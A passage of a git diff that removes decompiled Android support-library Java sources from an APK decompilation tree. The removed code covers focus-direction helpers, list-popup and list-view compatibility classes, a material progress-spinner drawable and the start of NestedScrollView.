<= rect2.left) && rect.right < rect2.right; - } else if (i == 130) { - return (rect.top < rect2.top || rect.bottom <= rect2.top) && rect.bottom < rect2.bottom; - } else { - throw new IllegalArgumentException("direction must be one of {FOCUS_UP, FOCUS_DOWN, FOCUS_LEFT, FOCUS_RIGHT}."); - } - } - - private static boolean beamsOverlap(int i, Rect rect, Rect rect2) { - if (i != 17) { - if (i != 33) { - if (i != 66) { - if (i != 130) { - throw new IllegalArgumentException("direction must be one of {FOCUS_UP, FOCUS_DOWN, FOCUS_LEFT, FOCUS_RIGHT}."); - } - } - } - return rect2.right >= rect.left && rect2.left <= rect.right; - } - return rect2.bottom >= rect.top && rect2.top <= rect.bottom; - } - - private static boolean isToDirectionOf(int i, Rect rect, Rect rect2) { - if (i == 17) { - return rect.left >= rect2.right; - } else if (i == 33) { - return rect.top >= rect2.bottom; - } else if (i == 66) { - return rect.right <= rect2.left; - } else if (i == 130) { - return rect.bottom <= rect2.top; - } else { - throw new IllegalArgumentException("direction must be one of {FOCUS_UP, FOCUS_DOWN, FOCUS_LEFT, FOCUS_RIGHT}."); - } - } - - private static int majorAxisDistance(int i, Rect rect, Rect rect2) { - return Math.max(0, majorAxisDistanceRaw(i, rect, rect2)); - } - - private static int majorAxisDistanceRaw(int i, Rect rect, Rect rect2) { - int i2; - int i3; - if (i == 17) { - i2 = rect.left; - i3 = rect2.right; - } else if (i == 33) { - i2 = rect.top; - i3 = rect2.bottom; - } else if (i == 66) { - i2 = rect2.left; - i3 = rect.right; - } else if (i == 130) { - i2 = rect2.top; - i3 = rect.bottom; - } else { - throw new IllegalArgumentException("direction must be one of {FOCUS_UP, FOCUS_DOWN, FOCUS_LEFT, FOCUS_RIGHT}."); - } - return i2 - i3; - } - - private static int majorAxisDistanceToFarEdge(int i, Rect rect, Rect rect2) { - return Math.max(1, majorAxisDistanceToFarEdgeRaw(i, rect, rect2)); - } - - private static int majorAxisDistanceToFarEdgeRaw(int i, Rect rect, Rect rect2) { - int i2; - int i3; - if (i == 17) { - i2 = rect.left; - i3 = rect2.left; - } else if (i == 33) { - i2 = rect.top; - i3 = rect2.top; - } else if (i == 66) { - i2 = rect2.right; - i3 = rect.right; - } else if (i == 130) { - i2 = rect2.bottom; - i3 = rect.bottom; - } else { - throw new IllegalArgumentException("direction must be one of {FOCUS_UP, FOCUS_DOWN, FOCUS_LEFT, FOCUS_RIGHT}."); - } - return i2 - i3; - } - - private static int minorAxisDistance(int i, Rect rect, Rect rect2) { - if (i != 17) { - if (i != 33) { - if (i != 66) { - if (i != 130) { - throw new IllegalArgumentException("direction must be one of {FOCUS_UP, FOCUS_DOWN, FOCUS_LEFT, FOCUS_RIGHT}."); - } - } - } - return Math.abs((rect.left + (rect.width() / 2)) - (rect2.left + (rect2.width() / 2))); - } - return Math.abs((rect.top + (rect.height() / 2)) - (rect2.top + (rect2.height() / 2))); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/ListPopupWindowCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/ListPopupWindowCompat.java deleted file mode 100644 index 1a60dbb..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/ListPopupWindowCompat.java +++ /dev/null @@ -1,41 +0,0 @@ -package android.support.v4.widget; - -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class ListPopupWindowCompat { - static final ListPopupWindowImpl IMPL = new KitKatListPopupWindowImpl(); - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface ListPopupWindowImpl { - View.OnTouchListener createDragToOpenListener(Object obj, View view); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class BaseListPopupWindowImpl implements ListPopupWindowImpl { - @Override // android.support.v4.widget.ListPopupWindowCompat.ListPopupWindowImpl - public View.OnTouchListener createDragToOpenListener(Object obj, View view) { - return null; - } - - BaseListPopupWindowImpl() { - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class KitKatListPopupWindowImpl extends BaseListPopupWindowImpl { - KitKatListPopupWindowImpl() { - } - - @Override // android.support.v4.widget.ListPopupWindowCompat.BaseListPopupWindowImpl, android.support.v4.widget.ListPopupWindowCompat.ListPopupWindowImpl - public View.OnTouchListener createDragToOpenListener(Object obj, View view) { - return ListPopupWindowCompatKitKat.createDragToOpenListener(obj, view); - } - } - - private ListPopupWindowCompat() { - } - - public static View.OnTouchListener createDragToOpenListener(Object obj, View view) { - return IMPL.createDragToOpenListener(obj, view); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/ListPopupWindowCompatKitKat.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/ListPopupWindowCompatKitKat.java deleted file mode 100644 index b2a05bd..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/ListPopupWindowCompatKitKat.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.v4.widget; - -import android.view.View; -import android.widget.ListPopupWindow; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ListPopupWindowCompatKitKat { - ListPopupWindowCompatKitKat() { - } - - public static View.OnTouchListener createDragToOpenListener(Object obj, View view) { - return ((ListPopupWindow) obj).createDragToOpenListener(view); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/ListViewAutoScrollHelper.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/ListViewAutoScrollHelper.java deleted file mode 100644 index bb24f32..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/ListViewAutoScrollHelper.java +++ /dev/null @@ -1,46 +0,0 @@ -package android.support.v4.widget; - -import android.widget.ListView; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class ListViewAutoScrollHelper extends AutoScrollHelper { - private final ListView mTarget; - - @Override // android.support.v4.widget.AutoScrollHelper - public boolean canTargetScrollHorizontally(int i) { - return false; - } - - public ListViewAutoScrollHelper(ListView listView) { - super(listView); - this.mTarget = listView; - } - - @Override // android.support.v4.widget.AutoScrollHelper - public void scrollTargetBy(int i, int i2) { - ListViewCompat.scrollListBy(this.mTarget, i2); - } - - @Override // android.support.v4.widget.AutoScrollHelper - public boolean canTargetScrollVertically(int i) { - ListView listView = this.mTarget; - int count = listView.getCount(); - if (count == 0) { - return false; - } - int childCount = listView.getChildCount(); - int firstVisiblePosition = listView.getFirstVisiblePosition(); - int i2 = firstVisiblePosition + childCount; - if (i > 0) { - if (i2 >= count && listView.getChildAt(childCount - 1).getBottom() <= listView.getHeight()) { - return false; - } - } else if (i >= 0) { - return false; - } else { - if (firstVisiblePosition <= 0 && listView.getChildAt(0).getTop() >= 0) { - return false; - } - } - return true; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/ListViewCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/ListViewCompat.java deleted file mode 100644 index 4a3a966..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/ListViewCompat.java +++ /dev/null @@ -1,12 +0,0 @@ -package android.support.v4.widget; - -import android.widget.ListView; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class ListViewCompat { - public static void scrollListBy(ListView listView, int i) { - ListViewCompatKitKat.scrollListBy(listView, i); - } - - private ListViewCompat() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/ListViewCompatGingerbread.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/ListViewCompatGingerbread.java deleted file mode 100644 index ff604db..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/ListViewCompatGingerbread.java +++ /dev/null @@ -1,18 +0,0 @@ -package android.support.v4.widget; - -import android.view.View; -import android.widget.ListView; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ListViewCompatGingerbread { - ListViewCompatGingerbread() { - } - - static void scrollListBy(ListView listView, int i) { - View childAt; - int firstVisiblePosition = listView.getFirstVisiblePosition(); - if (firstVisiblePosition == -1 || (childAt = listView.getChildAt(0)) == null) { - return; - } - listView.setSelectionFromTop(firstVisiblePosition, childAt.getTop() - i); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/ListViewCompatKitKat.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/ListViewCompatKitKat.java deleted file mode 100644 index 79f4918..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/ListViewCompatKitKat.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.v4.widget; - -import android.widget.ListView; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ListViewCompatKitKat { - ListViewCompatKitKat() { - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static void scrollListBy(ListView listView, int i) { - listView.scrollListBy(i); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/MaterialProgressDrawable.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/MaterialProgressDrawable.java deleted file mode 100644 index 1cc792c..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/MaterialProgressDrawable.java +++ /dev/null @@ -1,556 +0,0 @@ -package android.support.v4.widget; - -import android.content.Context; -import android.content.res.Resources; -import android.graphics.Canvas; -import android.graphics.ColorFilter; -import android.graphics.Paint; -import android.graphics.Path; -import android.graphics.Rect; -import android.graphics.RectF; -import android.graphics.drawable.Animatable; -import android.graphics.drawable.Drawable; -import android.support.v4.view.ViewCompat; -import android.support.v4.view.animation.FastOutSlowInInterpolator; -import android.view.View; -import android.view.animation.Animation; -import android.view.animation.Interpolator; -import android.view.animation.LinearInterpolator; -import android.view.animation.Transformation; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.util.ArrayList; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class MaterialProgressDrawable extends Drawable implements Animatable { - private static final int ANIMATION_DURATION = 1332; - private static final int ARROW_HEIGHT = 5; - private static final int ARROW_HEIGHT_LARGE = 6; - private static final float ARROW_OFFSET_ANGLE = 5.0f; - private static final int ARROW_WIDTH = 10; - private static final int ARROW_WIDTH_LARGE = 12; - private static final float CENTER_RADIUS = 8.75f; - private static final float CENTER_RADIUS_LARGE = 12.5f; - private static final int CIRCLE_DIAMETER = 40; - private static final int CIRCLE_DIAMETER_LARGE = 56; - private static final float COLOR_START_DELAY_OFFSET = 0.75f; - static final int DEFAULT = 1; - private static final float END_TRIM_START_DELAY_OFFSET = 0.5f; - private static final float FULL_ROTATION = 1080.0f; - static final int LARGE = 0; - private static final float MAX_PROGRESS_ARC = 0.8f; - private static final float NUM_POINTS = 5.0f; - private static final float START_TRIM_DURATION_OFFSET = 0.5f; - private static final float STROKE_WIDTH = 2.5f; - private static final float STROKE_WIDTH_LARGE = 3.0f; - private Animation mAnimation; - private final ArrayList mAnimators = new ArrayList<>(); - private final Drawable.Callback mCallback; - boolean mFinishing; - private double mHeight; - private View mParent; - private Resources mResources; - private final Ring mRing; - private float mRotation; - float mRotationCount; - private double mWidth; - private static final Interpolator LINEAR_INTERPOLATOR = new LinearInterpolator(); - static final Interpolator MATERIAL_INTERPOLATOR = new FastOutSlowInInterpolator(); - private static final int[] COLORS = {ViewCompat.MEASURED_STATE_MASK}; - - @Retention(RetentionPolicy.SOURCE) - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public @interface ProgressDrawableSize { - } - - @Override // android.graphics.drawable.Drawable - public int getOpacity() { - return -3; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public MaterialProgressDrawable(Context context, View view) { - Drawable.Callback callback = new Drawable.Callback() { // from class: android.support.v4.widget.MaterialProgressDrawable.3 - @Override // android.graphics.drawable.Drawable.Callback - public void invalidateDrawable(Drawable drawable) { - MaterialProgressDrawable.this.invalidateSelf(); - } - - @Override // android.graphics.drawable.Drawable.Callback - public void scheduleDrawable(Drawable drawable, Runnable runnable, long j) { - MaterialProgressDrawable.this.scheduleSelf(runnable, j); - } - - @Override // android.graphics.drawable.Drawable.Callback - public void unscheduleDrawable(Drawable drawable, Runnable runnable) { - MaterialProgressDrawable.this.unscheduleSelf(runnable); - } - }; - this.mCallback = callback; - this.mParent = view; - this.mResources = context.getResources(); - Ring ring = new Ring(callback); - this.mRing = ring; - ring.setColors(COLORS); - updateSizes(1); - setupAnimators(); - } - - private void setSizeParameters(double d, double d2, double d3, double d4, float f, float f2) { - Ring ring = this.mRing; - float f3 = this.mResources.getDisplayMetrics().density; - double d5 = f3; - this.mWidth = d * d5; - this.mHeight = d2 * d5; - ring.setStrokeWidth(((float) d4) * f3); - ring.setCenterRadius(d3 * d5); - ring.setColorIndex(0); - ring.setArrowDimensions(f * f3, f2 * f3); - ring.setInsets((int) this.mWidth, (int) this.mHeight); - } - - public void updateSizes(int i) { - if (i == 0) { - setSizeParameters(56.0d, 56.0d, 12.5d, 3.0d, 12.0f, 6.0f); - } else { - setSizeParameters(40.0d, 40.0d, 8.75d, 2.5d, 10.0f, 5.0f); - } - } - - public void showArrow(boolean z) { - this.mRing.setShowArrow(z); - } - - public void setArrowScale(float f) { - this.mRing.setArrowScale(f); - } - - public void setStartEndTrim(float f, float f2) { - this.mRing.setStartTrim(f); - this.mRing.setEndTrim(f2); - } - - public void setProgressRotation(float f) { - this.mRing.setRotation(f); - } - - public void setBackgroundColor(int i) { - this.mRing.setBackgroundColor(i); - } - - public void setColorSchemeColors(int... iArr) { - this.mRing.setColors(iArr); - this.mRing.setColorIndex(0); - } - - @Override // android.graphics.drawable.Drawable - public int getIntrinsicHeight() { - return (int) this.mHeight; - } - - @Override // android.graphics.drawable.Drawable - public int getIntrinsicWidth() { - return (int) this.mWidth; - } - - @Override // android.graphics.drawable.Drawable - public void draw(Canvas canvas) { - Rect bounds = getBounds(); - int save = canvas.save(); - canvas.rotate(this.mRotation, bounds.exactCenterX(), bounds.exactCenterY()); - this.mRing.draw(canvas, bounds); - canvas.restoreToCount(save); - } - - @Override // android.graphics.drawable.Drawable - public void setAlpha(int i) { - this.mRing.setAlpha(i); - } - - @Override // android.graphics.drawable.Drawable - public int getAlpha() { - return this.mRing.getAlpha(); - } - - @Override // android.graphics.drawable.Drawable - public void setColorFilter(ColorFilter colorFilter) { - this.mRing.setColorFilter(colorFilter); - } - - void setRotation(float f) { - this.mRotation = f; - invalidateSelf(); - } - - private float getRotation() { - return this.mRotation; - } - - @Override // android.graphics.drawable.Animatable - public boolean isRunning() { - ArrayList arrayList = this.mAnimators; - int size = arrayList.size(); - for (int i = 0; i < size; i++) { - Animation animation = arrayList.get(i); - if (animation.hasStarted() && !animation.hasEnded()) { - return true; - } - } - return false; - } - - @Override // android.graphics.drawable.Animatable - public void start() { - this.mAnimation.reset(); - this.mRing.storeOriginals(); - if (this.mRing.getEndTrim() != this.mRing.getStartTrim()) { - this.mFinishing = true; - this.mAnimation.setDuration(666L); - this.mParent.startAnimation(this.mAnimation); - return; - } - this.mRing.setColorIndex(0); - this.mRing.resetOriginals(); - this.mAnimation.setDuration(1332L); - this.mParent.startAnimation(this.mAnimation); - } - - @Override // android.graphics.drawable.Animatable - public void stop() { - this.mParent.clearAnimation(); - setRotation(0.0f); - this.mRing.setShowArrow(false); - this.mRing.setColorIndex(0); - this.mRing.resetOriginals(); - } - - float getMinProgressArc(Ring ring) { - return (float) Math.toRadians(ring.getStrokeWidth() / (ring.getCenterRadius() * 6.283185307179586d)); - } - - private int evaluateColorChange(float f, int i, int i2) { - int intValue = Integer.valueOf(i).intValue(); - int i3 = (intValue >> 24) & 255; - int i4 = (intValue >> 16) & 255; - int i5 = (intValue >> 8) & 255; - int i6 = intValue & 255; - int intValue2 = Integer.valueOf(i2).intValue(); - return ((i3 + ((int) ((((intValue2 >> 24) & 255) - i3) * f))) << 24) | ((i4 + ((int) ((((intValue2 >> 16) & 255) - i4) * f))) << 16) | ((i5 + ((int) ((((intValue2 >> 8) & 255) - i5) * f))) << 8) | (i6 + ((int) (f * ((intValue2 & 255) - i6)))); - } - - void updateRingColor(float f, Ring ring) { - if (f > COLOR_START_DELAY_OFFSET) { - ring.setColor(evaluateColorChange((f - COLOR_START_DELAY_OFFSET) / 0.25f, ring.getStartingColor(), ring.getNextColor())); - } - } - - void applyFinishTranslation(float f, Ring ring) { - updateRingColor(f, ring); - ring.setStartTrim(ring.getStartingStartTrim() + (((ring.getStartingEndTrim() - getMinProgressArc(ring)) - ring.getStartingStartTrim()) * f)); - ring.setEndTrim(ring.getStartingEndTrim()); - ring.setRotation(ring.getStartingRotation() + ((((float) (Math.floor(ring.getStartingRotation() / MAX_PROGRESS_ARC) + 1.0d)) - ring.getStartingRotation()) * f)); - } - - private void setupAnimators() { - final Ring ring = this.mRing; - Animation animation = new Animation() { // from class: android.support.v4.widget.MaterialProgressDrawable.1 - @Override // android.view.animation.Animation - public void applyTransformation(float f, Transformation transformation) { - if (MaterialProgressDrawable.this.mFinishing) { - MaterialProgressDrawable.this.applyFinishTranslation(f, ring); - return; - } - float minProgressArc = MaterialProgressDrawable.this.getMinProgressArc(ring); - float startingEndTrim = ring.getStartingEndTrim(); - float startingStartTrim = ring.getStartingStartTrim(); - float startingRotation = ring.getStartingRotation(); - MaterialProgressDrawable.this.updateRingColor(f, ring); - if (f <= 0.5f) { - float f2 = MaterialProgressDrawable.MAX_PROGRESS_ARC - minProgressArc; - Interpolator interpolator = MaterialProgressDrawable.MATERIAL_INTERPOLATOR; - ring.setStartTrim(startingStartTrim + (f2 * interpolator.getInterpolation(f / 0.5f))); - } - if (f > 0.5f) { - float f3 = MaterialProgressDrawable.MAX_PROGRESS_ARC - minProgressArc; - Interpolator interpolator2 = MaterialProgressDrawable.MATERIAL_INTERPOLATOR; - ring.setEndTrim(startingEndTrim + (f3 * interpolator2.getInterpolation((f - 0.5f) / 0.5f))); - } - ring.setRotation(startingRotation + (0.25f * f)); - MaterialProgressDrawable.this.setRotation((f * 216.0f) + ((MaterialProgressDrawable.this.mRotationCount / 5.0f) * MaterialProgressDrawable.FULL_ROTATION)); - } - }; - animation.setRepeatCount(-1); - animation.setRepeatMode(1); - animation.setInterpolator(LINEAR_INTERPOLATOR); - animation.setAnimationListener(new Animation.AnimationListener() { // from class: android.support.v4.widget.MaterialProgressDrawable.2 - @Override // android.view.animation.Animation.AnimationListener - public void onAnimationEnd(Animation animation2) { - } - - @Override // android.view.animation.Animation.AnimationListener - public void onAnimationStart(Animation animation2) { - MaterialProgressDrawable.this.mRotationCount = 0.0f; - } - - @Override // android.view.animation.Animation.AnimationListener - public void onAnimationRepeat(Animation animation2) { - ring.storeOriginals(); - ring.goToNextColor(); - Ring ring2 = ring; - ring2.setStartTrim(ring2.getEndTrim()); - if (MaterialProgressDrawable.this.mFinishing) { - MaterialProgressDrawable.this.mFinishing = false; - animation2.setDuration(1332L); - ring.setShowArrow(false); - return; - } - MaterialProgressDrawable materialProgressDrawable = MaterialProgressDrawable.this; - materialProgressDrawable.mRotationCount = (materialProgressDrawable.mRotationCount + 1.0f) % 5.0f; - } - }); - this.mAnimation = animation; - } - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class Ring { - private int mAlpha; - private Path mArrow; - private int mArrowHeight; - private final Paint mArrowPaint; - private float mArrowScale; - private int mArrowWidth; - private int mBackgroundColor; - private final Drawable.Callback mCallback; - private final Paint mCirclePaint; - private int mColorIndex; - private int[] mColors; - private int mCurrentColor; - private float mEndTrim; - private final Paint mPaint; - private double mRingCenterRadius; - private float mRotation; - private boolean mShowArrow; - private float mStartTrim; - private float mStartingEndTrim; - private float mStartingRotation; - private float mStartingStartTrim; - private float mStrokeInset; - private float mStrokeWidth; - private final RectF mTempBounds = new RectF(); - - Ring(Drawable.Callback callback) { - Paint paint = new Paint(); - this.mPaint = paint; - Paint paint2 = new Paint(); - this.mArrowPaint = paint2; - this.mStartTrim = 0.0f; - this.mEndTrim = 0.0f; - this.mRotation = 0.0f; - this.mStrokeWidth = 5.0f; - this.mStrokeInset = MaterialProgressDrawable.STROKE_WIDTH; - this.mCirclePaint = new Paint(1); - this.mCallback = callback; - paint.setStrokeCap(Paint.Cap.SQUARE); - paint.setAntiAlias(true); - paint.setStyle(Paint.Style.STROKE); - paint2.setStyle(Paint.Style.FILL); - paint2.setAntiAlias(true); - } - - public void setBackgroundColor(int i) { - this.mBackgroundColor = i; - } - - public void setArrowDimensions(float f, float f2) { - this.mArrowWidth = (int) f; - this.mArrowHeight = (int) f2; - } - - public void draw(Canvas canvas, Rect rect) { - RectF rectF = this.mTempBounds; - rectF.set(rect); - float f = this.mStrokeInset; - rectF.inset(f, f); - float f2 = this.mStartTrim; - float f3 = this.mRotation; - float f4 = (f2 + f3) * 360.0f; - float f5 = ((this.mEndTrim + f3) * 360.0f) - f4; - this.mPaint.setColor(this.mCurrentColor); - canvas.drawArc(rectF, f4, f5, false, this.mPaint); - drawTriangle(canvas, f4, f5, rect); - if (this.mAlpha < 255) { - this.mCirclePaint.setColor(this.mBackgroundColor); - this.mCirclePaint.setAlpha(255 - this.mAlpha); - canvas.drawCircle(rect.exactCenterX(), rect.exactCenterY(), rect.width() / 2, this.mCirclePaint); - } - } - - private void drawTriangle(Canvas canvas, float f, float f2, Rect rect) { - if (this.mShowArrow) { - Path path = this.mArrow; - if (path == null) { - Path path2 = new Path(); - this.mArrow = path2; - path2.setFillType(Path.FillType.EVEN_ODD); - } else { - path.reset(); - } - float f3 = (((int) this.mStrokeInset) / 2) * this.mArrowScale; - float sin = (float) ((this.mRingCenterRadius * Math.sin(0.0d)) + rect.exactCenterY()); - this.mArrow.moveTo(0.0f, 0.0f); - this.mArrow.lineTo(this.mArrowWidth * this.mArrowScale, 0.0f); - Path path3 = this.mArrow; - float f4 = this.mArrowScale; - path3.lineTo((this.mArrowWidth * f4) / 2.0f, this.mArrowHeight * f4); - this.mArrow.offset(((float) ((this.mRingCenterRadius * Math.cos(0.0d)) + rect.exactCenterX())) - f3, sin); - this.mArrow.close(); - this.mArrowPaint.setColor(this.mCurrentColor); - canvas.rotate((f + f2) - 5.0f, rect.exactCenterX(), rect.exactCenterY()); - canvas.drawPath(this.mArrow, this.mArrowPaint); - } - } - - public void setColors(int[] iArr) { - this.mColors = iArr; - setColorIndex(0); - } - - public void setColor(int i) { - this.mCurrentColor = i; - } - - public void setColorIndex(int i) { - this.mColorIndex = i; - this.mCurrentColor = this.mColors[i]; - } - - public int getNextColor() { - return this.mColors[getNextColorIndex()]; - } - - private int getNextColorIndex() { - return (this.mColorIndex + 1) % this.mColors.length; - } - - public void goToNextColor() { - setColorIndex(getNextColorIndex()); - } - - public void setColorFilter(ColorFilter colorFilter) { - this.mPaint.setColorFilter(colorFilter); - invalidateSelf(); - } - - public void setAlpha(int i) { - this.mAlpha = i; - } - - public int getAlpha() { - return this.mAlpha; - } - - public void setStrokeWidth(float f) { - this.mStrokeWidth = f; - this.mPaint.setStrokeWidth(f); - invalidateSelf(); - } - - public float getStrokeWidth() { - return this.mStrokeWidth; - } - - public void setStartTrim(float f) { - this.mStartTrim = f; - invalidateSelf(); - } - - public float getStartTrim() { - return this.mStartTrim; - } - - public float getStartingStartTrim() { - return this.mStartingStartTrim; - } - - public float getStartingEndTrim() { - return this.mStartingEndTrim; - } - - public int getStartingColor() { - return this.mColors[this.mColorIndex]; - } - - public void setEndTrim(float f) { - this.mEndTrim = f; - invalidateSelf(); - } - - public float getEndTrim() { - return this.mEndTrim; - } - - public void setRotation(float f) { - this.mRotation = f; - invalidateSelf(); - } - - public float getRotation() { - return this.mRotation; - } - - public void setInsets(int i, int i2) { - float min = Math.min(i, i2); - double d = this.mRingCenterRadius; - this.mStrokeInset = (float) ((d <= 0.0d || min < 0.0f) ? Math.ceil(this.mStrokeWidth / 2.0f) : (min / 2.0f) - d); - } - - public float getInsets() { - return this.mStrokeInset; - } - - public void setCenterRadius(double d) { - this.mRingCenterRadius = d; - } - - public double getCenterRadius() { - return this.mRingCenterRadius; - } - - public void setShowArrow(boolean z) { - if (this.mShowArrow != z) { - this.mShowArrow = z; - invalidateSelf(); - } - } - - public void setArrowScale(float f) { - if (f != this.mArrowScale) { - this.mArrowScale = f; - invalidateSelf(); - } - } - - public float getStartingRotation() { - return this.mStartingRotation; - } - - public void storeOriginals() { - this.mStartingStartTrim = this.mStartTrim; - this.mStartingEndTrim = this.mEndTrim; - this.mStartingRotation = this.mRotation; - } - - public void resetOriginals() { - this.mStartingStartTrim = 0.0f; - this.mStartingEndTrim = 0.0f; - this.mStartingRotation = 0.0f; - setStartTrim(0.0f); - setEndTrim(0.0f); - setRotation(0.0f); - } - - private void invalidateSelf() { - this.mCallback.invalidateDrawable(null); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/NestedScrollView.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/NestedScrollView.java deleted file mode 100644 index 07977a2..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/NestedScrollView.java +++ /dev/null @@ -1,1318 +0,0 @@ -package android.support.v4.widget; - -import android.content.Context; -import android.content.res.TypedArray; -import android.graphics.Canvas; -import android.graphics.Rect; -import android.os.Bundle; -import android.os.Parcel; -import android.os.Parcelable; -import android.support.v4.media.TransportMediator; -import android.support.v4.view.AccessibilityDelegateCompat; -import android.support.v4.view.MotionEventCompat; -import android.support.v4.view.NestedScrollingChild; -import android.support.v4.view.NestedScrollingChildHelper; -import android.support.v4.view.NestedScrollingParent; -import android.support.v4.view.NestedScrollingParentHelper; -import android.support.v4.view.ScrollingView; -import android.support.v4.view.VelocityTrackerCompat; -import android.support.v4.view.ViewCompat; -import android.support.v4.view.accessibility.AccessibilityEventCompat; -import android.support.v4.view.accessibility.AccessibilityNodeInfoCompat; -import android.support.v4.view.accessibility.AccessibilityRecordCompat; -import android.util.AttributeSet; -import android.util.Log; -import android.util.TypedValue; -import android.view.FocusFinder; -import android.view.KeyEvent; -import android.view.MotionEvent; -import android.view.VelocityTracker; -import android.view.View; -import android.view.ViewConfiguration; -import android.view.ViewGroup; -import android.view.ViewParent; -import android.view.accessibility.AccessibilityEvent; -import android.view.animation.AnimationUtils; -import android.widget.FrameLayout; -import android.widget.ScrollView; -import java.util.ArrayList; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class NestedScrollView extends FrameLayout implements NestedScrollingParent, NestedScrollingChild, ScrollingView { - static final int ANIMATED_SCROLL_GAP = 250; - private static final int INVALID_POINTER = -1; - static final float MAX_SCROLL_FACTOR = 0.5f; - private static final String TAG = "NestedScrollView"; - private int mActivePointerId; - private final NestedScrollingChildHelper mChildHelper; - private View mChildToScrollTo; - private EdgeEffectCompat mEdgeGlowBottom; - private EdgeEffectCompat mEdgeGlowTop; - private boolean mFillViewport; - private boolean mIsBeingDragged; - private boolean mIsLaidOut; - private boolean mIsLayoutDirty; - private int mLastMotionY; - private long mLastScroll; - private int mMaximumVelocity; - private int mMinimumVelocity; - private int mNestedYOffset; - private OnScrollChangeListener mOnScrollChangeListener; - private final NestedScrollingParentHelper mParentHelper; - private SavedState mSavedState; - private final int[] mScrollConsumed; - private final int[] mScrollOffset; - private ScrollerCompat mScroller; - private boolean mSmoothScrollingEnabled; - private final Rect mTempRect; - private int mTouchSlop; - private VelocityTracker mVelocityTracker; - private float mVerticalScrollFactor; - private static final AccessibilityDelegate ACCESSIBILITY_DELEGATE = new AccessibilityDelegate(); - private static final int[] SCROLLVIEW_STYLEABLE = {16843130}; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface OnScrollChangeListener { - void onScrollChange(NestedScrollView nestedScrollView, int i, int i2, int i3, int i4); - } - - private static int clamp(int i, int i2, int i3) { - if (i2 >= i3 || i < 0) { - return 0; - } - return i2 + i > i3 ? i3 - i2 : i; - } - - @Override // android.view.ViewGroup, android.view.ViewParent, android.support.v4.view.NestedScrollingParent - public boolean onStartNestedScroll(View view, View view2, int i) { - return (i & 2) != 0; - } - - @Override // android.widget.FrameLayout, android.view.ViewGroup - public boolean shouldDelayChildPressedState() { - return true; - } - - public NestedScrollView(Context context) { - this(context, null); - } - - public NestedScrollView(Context context, AttributeSet attributeSet) { - this(context, attributeSet, 0); - } - - public NestedScrollView(Context context, AttributeSet attributeSet, int i) { - super(context, attributeSet, i); - this.mTempRect = new Rect(); - this.mIsLayoutDirty = true; - this.mIsLaidOut = false; - this.mChildToScrollTo = null; - this.mIsBeingDragged = false; - this.mSmoothScrollingEnabled = true; - this.mActivePointerId = -1; - this.mScrollOffset = new int[2]; - this.mScrollConsumed = new int[2]; - initScrollView(); - TypedArray obtainStyledAttributes = context.obtainStyledAttributes(attributeSet, SCROLLVIEW_STYLEABLE, i, 0); - setFillViewport(obtainStyledAttributes.getBoolean(0, false)); - obtainStyledAttributes.recycle(); - this.mParentHelper = new NestedScrollingParentHelper(this); - this.mChildHelper = new NestedScrollingChildHelper(this); - setNestedScrollingEnabled(true); - ViewCompat.setAccessibilityDelegate(this, ACCESSIBILITY_DELEGATE); - } - - @Override // android.view.View, android.support.v4.view.NestedScrollingChild - public void setNestedScrollingEnabled(boolean z) { - this.mChildHelper.setNestedScrollingEnabled(z); - } - - @Override // android.view.View, android.support.v4.view.NestedScrollingChild - public boolean isNestedScrollingEnabled() { - return this.mChildHelper.isNestedScrollingEnabled(); - } - - @Override // android.view.View, android.support.v4.view.NestedScrollingChild - public boolean startNestedScroll(int i) { - return this.mChildHelper.startNestedScroll(i); - } - - @Override // android.view.View, android.support.v4.view.NestedScrollingChild - public void stopNestedScroll() { - this.mChildHelper.stopNestedScroll(); - } - - @Override // android.view.View, android.support.v4.view.NestedScrollingChild - public boolean hasNestedScrollingParent() { - return this.mChildHelper.hasNestedScrollingParent(); - } - - @Override // android.view.View, android.support.v4.view.NestedScrollingChild - public boolean dispatchNestedScroll(int i, int i2, int i3, int i4, int[] iArr) { - return 